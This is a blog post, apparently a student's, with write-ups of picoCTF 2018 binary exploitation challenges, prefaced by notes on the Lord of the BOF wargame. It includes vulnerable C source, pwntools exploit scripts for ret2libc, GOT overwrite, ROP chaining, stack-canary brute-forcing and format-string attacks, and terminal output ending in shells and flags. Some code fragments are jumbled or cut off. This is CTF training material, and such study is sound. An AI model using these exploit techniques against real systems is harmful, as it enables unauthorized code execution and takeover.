Learning something is pretty difficult in security. It has a steep learning curve for sure. There are a lot of resources online - but just not enough. (Even moreso if you compare it to the amount of computer science resources there are, I feel like we just lack a variety) After some point, the attacks get sophisticated, but you can't really learn from anything, you'll have to research vulnerabilities by yourself. My friend's also expressed a concern about how he felt so standalone in the field whenever he tried to learn something new.
Of course, we could attend conferences, but it would be better if documentation was just available online.
That's why you need to write documentation. Whether that be a short, easy way to do things, or a really complicated method, writing it down will help someone else. Writing it down will help yourself. You'll get to remember more, understand more, and share your knowledge along the way.
I hope to write some docs over the next few months too.
It's finally time. I've always thought about translatingthis post but I finally get to do it now.
[What is Lord of the BOF?]
From a relatively easy environment, Redhat 6.2 to the ultimate Fedora 14 -
You'll have to go through numerous levels and show off your BOF skills.
Solve the highest level and shoot me an email at chanbin.lee123@gmail.com with a writeup of the death_knight challenge - I'll send you the Fedora image file.
[How to]
Lord of the BOF is given as a vmware image so that you'll have your own environment to connect into and play.
[Download]
1. Download the following vmware image and boot up!
int flag() { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); }
setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid gid_t gid = getegid(); setresgid(gid, gid, gid); // real pw: FILE *file; char password[64]; char name[256]; char password_input[64]; memset(password, 0, sizeof(password)); memset(name, 0, sizeof(name)); memset(password_input, 0, sizeof(password_input)); printf("What is your name?\n"); fgets(name, sizeof(name), stdin); char *end = strchr(name, '\n'); if (end != NULL) { *end = '\x00'; }
strcat(name, ",\nPlease Enter the Password.");
file = fopen("password.txt", "r"); if (file == NULL) { printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); }
setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid);
Basically you want to send 148 bytes of stuff, a return address (which is a call to system()), a dummy (which is the return address coming from system()), and the address of /bin/sh (given through the program output)
If you run the program multiple times, you realize that the function addresses keep changing - yikes seems like ASLR!
That's why I recommended the readings above because you can bypass this.
First calculate the offset from libc <--> puts on gdb, then calculate the offset from libc <--> system because offsets are set values.
Because the program hands the address of puts to you after it's run, you don't have to worry about ASLR after implementing the code
The most challenging part was actually coding this up because it's been a while since I've ever touched python (about 5 years) and back then I wasn't even proficient either so.. after a lot of debugging I came up with the following code.
The nop is 160 long because if the exploit doesn't work with 148, basically just go up with multiples of 4 until you make it :)
from pwn import *
r = process('/problems/got-2-learn-libc_0_4c2b153da9980f0b2d12a128ff19dc3f/vuln')
[*] Closed connection to 2018shell.picoctf.com port 52398
got-shell?
Points: 350
Can you authenticate to this service and get the flag? Connect to it with nc 2018shell.picoctf.com 46464.
Ever heard of the Global Offset Table?
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
void win() {
system("/bin/sh");
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[256];
unsigned int address;
unsigned int value;
puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");
scanf("%x", &address);
sprintf(buf, "Okay, now what value would you like to write to 0x%x", address);
puts(buf);
scanf("%x", &value);
sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address);
puts(buf);
*(unsigned int *)address = value;
puts("Okay, exiting now...\n");
exit(1);
}
So... I don't have a strong understanding of PLT / GOT either, all I know is that processes reference to them in order to execute library functions, such as printf(), puts(), exit()... etc.
I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?
0804a014
Okay, now what value would you like to write to 0x804a014
804854b
Okay, writing 0x804854b to 0x804a014
Okay, exiting now...
ls
auth
auth.c
flag.txt
xinet_startup.sh
cat flag.txt
picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_7a9e7634}
rop chain
Points: 350
Can you exploit the following program and get the flag?
Try and call the functions in the correct order!
Remember, you can always call main() again!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>
#define BUFSIZE 16
bool win1 = false;
bool win2 = false;
void win_function1() {
win1 = true;
}
void win_function2(unsigned int arg_check1) {
if (win1 && arg_check1 == 0xBAAAAAAD) {
win2 = true;
}
else if (win1) {
printf("Wrong Argument. Try Again.\n");
}
else {
printf("Nope. Try a little bit harder.\n");
}
}
void flag(unsigned int arg_check2) {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
printf("%s", flag);
return;
}
else if (win1 && win2) {
printf("Incorrect Argument. Remember, you can call other functions in between each win function!\n");
}
else if (win1 || win2) {
printf("Nice Try! You're Getting There!\n");
}
else {
printf("You won't get the flag that easy..\n");
}
}
void vuln() {
char buf[16];
printf("Enter your input> ");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
Seems like you'll have to call win_function1 --> win_function2 --> flag in order to satisfy all conditions.
Sounds like rtl(return-to-libc) chaining. Guess we can call that rop(return-oriented-programming) too.
What we need: 1. Address to win_function1()
2. Address to win_function2()
3. Address to flag()
4. Gadget : pop ret
What we want the payload to look like:
[Buffer 16 bytes + x amount of padding (that you can determine by brute forcing)] [win1 address 4 bytes] [win2 address 4 bytes] [pop ret gadget 4 bytes] [ 0xBAAAAAAD ] [flag address 4 bytes] [dummy 4 bytes] [ 0xDEADBAAD ]
Please read up on return-to-libc and some rop articles if you don't understand why the payload is as is.
Simply put, after returning from win2, you know that win2 takes one parameter (0xBAAAAAAD). So you have to jump over that one argument in order to execute flag(). (Basically what pop ret does.) If win2 were to take two parameters, you would have to find a pop pop ret gadget.
[+] Starting local process '/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d/rop': pid 1887127
Enter your input>
picoCTF{rOp_aInT_5o_h4Rd_R1gHt_536d67d1}
[*] Stopped process '/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d/rop' (pid 1887127)
buffer overflow 3
Points: 450
It looks like Dr. Xernon added a stack canary to this program to protect against buffer overflows. Do you think you can bypass the protection and get the flag?
Maybe there's a smart way to brute-force the canary?
Took me much longer than it should've.
I read the following writeup after searching for 'brute-force stack canary':
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("Canary is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
exit(-1);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
int i;
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
Read the writeup above, implement the code.
Brute-force each canary byte by checking whether you've overwritten the value with something that the program can't detect (correct canary byte) or one that gives you an error (wrong canary byte)
After your canary is cooked up, send the payload with a return address to win()
#!/usr/bin/env python
from pwn import *
canary = ""
canary_offset = 32
guess = 0x0
win = 0x80486eb
buf = ""
buf += "A" * canary_offset
while len(canary) < 4:
while guess != 0xff:
#try:
r = process('/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln')
r.recvuntil("How Many Bytes will You Write Into the Buffer?\n> ")
print "Canary:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
r = process('/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln')
r.recvuntil("How Many Bytes will You Write Into the Buffer?\n> ")
r.sendline("200")
r.recvuntil("Input> ")
r.send(buf + canary + p32(win)*10)
print r.recv(timeout=5)
me: so... do I need to know how to calculate the padding?
friend: no, because you'll usually be able to see it in your ida. since you have the source code here, you know it's safe to just put random numbers of stuff
[+] Starting local process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln': pid 54329
[*] Process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln' stopped with exit code 255 (pid 54329)
*** Stack Smashing Detected *** : Canary Value Corrupt!
[...]
[+] Starting local process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln': pid 58571
[*] Process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln' stopped with exit code 0 (pid 58571)
Ok... Now Where's the Flag?
Guessed correct byte: 25
Canary:\x3c\x7a\x4f\x25
[+] Starting local process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln': pid 58573
Ok... Now Where's the Flag?
picoCTF{eT_tU_bRuT3_F0Rc3_9bb35cfd}
echo back
Points: 500
This program we found seems to have a vulnerability. Can you get a shell and retreive the flag? Connect to it with nc 2018shell.picoctf.com 37402.
hmm, printf seems to be dangerous...
You may need to modify more than one address at once.
Ever heard of the Global Offset Table?
Great opportunity to solidify my understanding of PLT / GOT. :')
Although I watched a walkthrough of this problem, I still struggled with the concepts of FSB + GOT/PLT, so I got a friend to step me through the problem, literally hold my hand, and explain what had to be done.
Some few things he has mentioned:
1. It's easier (to understand your own payload + calculate offsets) if you put all the necessary addresses at the very beginning of your payload
2. If you have a negative offset that you have to overwrite, (e.g. you want to write 0x0804 but you already have outputted 0x8230 characters) you can use 0x10804 instead, with the %hn function in order to only write the last two bytes.
3. PLT is read-only.
After listening to his lecture for a while I went and watched the video above because for some reason, navigating through a program using gdb still sometimes confuses me over and the knowledge didn't seem to be sticking with me.
When you call a function, it jumps to PLT.
PLT contains a jump to the GOT.
GOT is a table, empty when you look at the binary file but once you run your program and your library is loaded, the addresses will be dynamically linked to the procedure so that another jump from the GOT will lead at the function at LIBC.
If you understand what a FSB is and how you can overwrite GOT with it, along with knowing the overall concept of got/plt you're ready for this problem.
WHAT WE WANT TO DO
printf@GOT --> system@PLT
puts@GOT --> &main
There are a lot of ways to get addresses but let's use the one I learned recently because I feel proud of myself:
The reason you overwrite it to system@plt - first of all, you gotta overwrite GOT because you can't overwrite PLT
After you overwrite say, printf@GOT to system@PLT, the function will call vuln again (puts@GOT --> &main) the printf call at PLT will jump to system@PLT, which will then be jump to system@GOT and system@LIBC
from pwn import *
r = remote('2018shell.picoctf.com', 37402)
# r = process('/home/EverTokki/echoback/echoback')
system_plt = 0x08048460
printf_got_1 = 0x0804a010
printf_got_2 = 0x0804a012
puts_got_1 = 0x0804a01c
puts_got_2 = 0x0804a01e
main = 0x08048643
# buffer is located at 7th argument
# load addresses into buffer
# printf_got 2 bytes each
payload = p32(printf_got_1)
payload += p32(printf_got_2)
# puts_got 2 bytes each
payload += p32(puts_got_1)
payload += p32(puts_got_2)
# 16 bytes written
# overwrite printf @ GOT (which is the library address to printf)--> system @ plt
[*] Closed connection to 2018shell.picoctf.com port 37402
Not on topic but I really need to come up with some smart solution to embedding code on my blog..
are you root?
Points: 550
Can you get root access through this service and get the flag? Connect with nc 2018shell.picoctf.com 26847.
If only the program used calloc to zero out the memory..
Okay. Instead of the usual documenting-after-solve, I'll write things as I go.
This is a case of a use-after free bug. I was first introduced to it because my friend, cd80, had written a document on it (Korean): https://cd80.tistory.com/40
Instead of calloc, you're using malloc - this does not clean out your heap space after you finish using it. That's not good.
I kinda already knew this method, so the only thing I really have to do is understand how the bug works and how to implement an exploit.
Reading symbols from gets...(no debugging symbols found)...done.
gdb-peda$checksec
CANARY: disabled
FORTIFY : disabled
NX: ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
1. Look at the source code; we don't have a system call or anything, only gets() --> we want to build a ROP chain for execve("/bin/sh")
We're going to do this using gadgets. Gadgets, in this case, will help you store information in the registers because the system call uses registers to pass on arguments (this may depend because arguments can be passed on the stack too)
You could either refer to the linux sys call page or check out the man page to execve.
int execve(const char *filename, char *const argv[], char *const envp[]);
"The plan is now to pop the address 0x080e9f5c into edx and the value /bin into eax. The address is arbitrary, but chosen such that we don’t overwrite anything important or that the address contains NULL bytes."
Okay, for some reason, I wasn't able to overwrite the memory just with '/bin/sh', I had to add a padding - but now it works. We have "/bin/sh" in memory.
I calculated the padding wrong, It's supposed to be 28 bytes.